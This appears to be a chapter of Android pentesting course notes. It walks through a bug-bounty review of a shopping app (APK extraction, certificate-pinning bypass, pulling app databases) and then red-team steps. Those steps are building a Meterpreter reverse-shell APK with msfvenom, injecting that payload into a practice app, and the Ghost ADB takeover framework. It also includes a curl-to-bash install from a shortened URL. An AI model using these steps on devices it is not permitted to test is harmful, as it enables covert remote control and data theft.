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6. Android Bug Bounty

Android Bug Bounty Hunt

❗ Always refer to a HackerOne Bug Bounty program to find valid targets

🔗 HackerOne Android programs

Install Temu app via Android Play Store - name com.einnovation.temu

frida-ps -Uai | grep temu  
	Temu com.einnovation.temu

Pull apk from the phone

cd ~/tcm/mapt/temu

adb shell pm list packages | grep temu
adb shell pm path com.einnovation.temu

adb pull /data/app/com.einnovation.temu-RKERNRo1SuGOM3UEbNeFIA==/base.apk
adb pull /data/app/com.einnovation.temu-RKERNRo1SuGOM3UEbNeFIA==/split_config.arm64_v8a.apk
adb pull /data/app/com.einnovation.temu-RKERNRo1SuGOM3UEbNeFIA==/split_config.xhdpi.apk

    .rw-r--r-- 19M base.apk
    .rw-r--r-- 15M split_config.arm64_v8a.apk
    .rw-r--r-- 77k split_config.xhdpi.apk

mv base.apk temu.apk

# or use apkpull tool by david-lee
curl -sL bit.ly/apkpull | bash -s -- com.einnovation.temu -d .

Open base.apk in jadx-gui

Check AndroidManifest.xml minSdkVersion, Permissions, exported activities, providers, links, keys etc. Search:

  • android:exported="true"

AndroidManifest.xml

Check strings.xml for hardcoded strings, databases (Firebase, etc), keys, email, phone numbers, etc.

Setup BurpSuite with Proxy listener to All interfaces and set the proxy on the device network connection (make sure BurpSuite certificate is installed)

# Create an alias for set and unset proxy
alias adbsetproxy="adb shell settings put global http_proxy $(ip -o -4 addr show eth1 | awk '{print $4}' | sed 's/\/.*//g'):8080"

alias adbunsetproxy="adb shell settings put global http_proxy :0"

# Use the created alias to set the proxy
adbsetproxy
  • Navigate the app. It seems certificate pinning is on.

Try to bypass Certificate Pinning

objection -g com.einnovation.temu explore -s "android sslpinning disable"
  • Certificate Pinning bypassed successfully. Traffic is intercepted in BurpSuite.
    • Navigate the app and check the HTTP history requests.

In Jadx-GUI search for URLs (http, https), API_KEY, Coupons, etc

https

API-KEY

Check internal storage for sensitive data store in files, cache, databases, etc

adb shell
su

cd /data/data/com.einnovation.temu/

# or open Device Explorer in Android Studio

shared_prefs

  • Check for databases

  • After navigating and interacting with the app, Pull interesting db files and check them with SQLite Browser, look through the database tables and structure.
# e.g.
adb pull /data/data/com.einnovation.temu/databases/google_app_measurement_local.db

# if Permission Denied error use su command like this

adb -d shell "su -c cp /data/data/com.einnovation.temu/databases/google_app_measurement_local.db /sdcard/Download"
adb pull /sdcard/Download/google_app_measurement_local.db

sqlitebrowser google_app_measurement_local.db

Interaction with all the app's functions is important to further analyze the app during dynamic analysis.

Patching APK

patch-apk tool can also be used for identifying the package name, extracting APKs, patching with objection, consolidating split APKs, enabling CA certificates, uninstalling the original app, and installing the patched version.

# Usage
cd ~/repo
git clone https://github.com/NickstaDB/patch-apk.git
cd ~/repo/patch-apk
apktool empty-framework-dir --force

python3 patch-apk.py com.einnovation.temu

# In case of apktool error
mv ~/.local/share/apktool/framework/1.apk ~/.local/share/apktool/framework/1.apk.bak
# Get a proper framework apk from a device /system/framework
adb pull /system/framework/framework-res.apk
mv framework-res.apk ~/.local/share/apktool/framework/1.apk

# Re-run patck-apk
python3 patch-apk.py com.einnovation.temu

Reinstall the new patched app in the phone

adb uninstall com.einnovation.temu
adb install com.einnovation.temu-patched

Android Red Teaming

❗ Always use the following Hardware on permitted targets, from a Red Team perspectice.

Create Generic APK with Metasploit

The following command will generate a Main Activity app, that makes the Android device reach the Kali VM machine establishing a session.

msfvenom -p android/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> R> android.apk
  • Sign the android.apk and upload it to the device.
# Create a Keystore
keytool -genkey -v -keystore demo.keystore -alias demokeys -keyalg RSA -keysize 2048 -validity 10000

# Sign the APK
jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore demo.keystore -storepass demopw android.apk demokeys

# zipalign the APK
zipalign -v 4 android.apk android_signed.apk
adb install android_signed.apk

# or via network (to device or emulator)
# adb -H 192.168.56.103 -P 5555 install android_signed.apk
  • Open a meterpreter shell and listen for the connection
msfconsole
use exploit/multi/handler
# set LHOST and LPORT same as in the msfvenom command
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>
run

Inject App with Metasploit

Make sure Apktool is updated.

Download InjuredAndroid.

mkdir ~/apks
cd ~/apks

wget -O InjuredAndroid.apk https://github.com/B3nac/InjuredAndroid/releases/download/v1.0.12/InjuredAndroid-1.0.12-release.apk

adb install InjuredAndroid.apk
  • Inject a Meterpreter payload into the InjuredAndroid.apk
msfvenom -x InjuredAndroid.apk -p android/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -o InjuredAndroid_hacked.apk

adb uninstall b3nac.injuredandroid
adb install InjuredAndroid_hacked.apk 
msfconsole -q
use exploit/multi/handler
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>
run

📌 The reverse shell may not work correctly because of Android and emulator versions or incompatibility.

🔗 Manual - Embedding Meterpreter in Android APK - Black Hills Information Security

The Ghost Framework

🔗 kp-forks/ghost-1 - Ghost Framework is an Android post-exploitation framework that exploits the Android Debug Bridge to remotely access an Android device. Ghost Framework gives you the power and convenience of remote Android device administration

cd ~/repo
git clone https://github.com/kp-forks/ghost-1.git
cd ghost-1
sudo ./install.sh

# Run with
sudo ./ghost
  • To make it work on port 5555, adb should be connected via tcp to the device
# Connect device with USB
adb tcpip 5555
adb connect <DEVICE_IP>:5555
adb devices
# Disconnet device USB
# Similar to Metasploit
set RHOST <DEVICE_IP>
options

run

# Some Ghost commands
Core Commands
=============

    Command        Description
    -------        -----------
    clear          Clear terminal window.
    exec           Execute local system command.
    exit           Exit and close current session.
    help           Show available session commands.

Settings Commands
=================

    Command        Description
    -------        -----------
    activity       Get device activity information.
    battery        Get device battery information.
    netstat        Get device network information.
    sysinfo        Get device system information.
    wifi           Control device wifi service.

Managing Commands
=================

    Command        Description
    -------        -----------
    eatpass        Eat device passcode.
    keyboard       Control target keyboard.
    openurl        Open URL on device.
    screen         Control device screen.
    screenshot     Take device screenshot.
    shell          Open device shell.
    upload         Upload local file.

Stealing Commands
=================

    Command        Description
    -------        -----------
    download       Download remote file.

Boot Commands
=============

    Command        Description
    -------        -----------
    reboot         Reboot device.